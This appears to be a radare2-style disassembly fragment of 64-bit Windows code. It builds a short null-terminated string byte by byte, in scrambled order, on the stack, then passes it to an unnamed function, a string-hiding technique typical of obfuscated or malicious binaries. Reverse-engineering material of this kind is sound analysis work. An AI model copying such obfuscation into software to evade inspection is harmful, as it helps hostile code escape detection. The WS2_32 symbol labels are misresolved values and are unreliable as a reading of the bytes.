mov byte [rsp + rax + 0x48], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x48], 0x63
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x48], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x48], WSASetLastError
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x48], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x48], reloc.WS2_32.dll_WSASetLastError
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x48], WSASetLastError
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x48], 0x61
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x48], 0x2e
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x48], 0
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x48], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
call fcn.140029120
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x70]
add rsp, 0x68
ret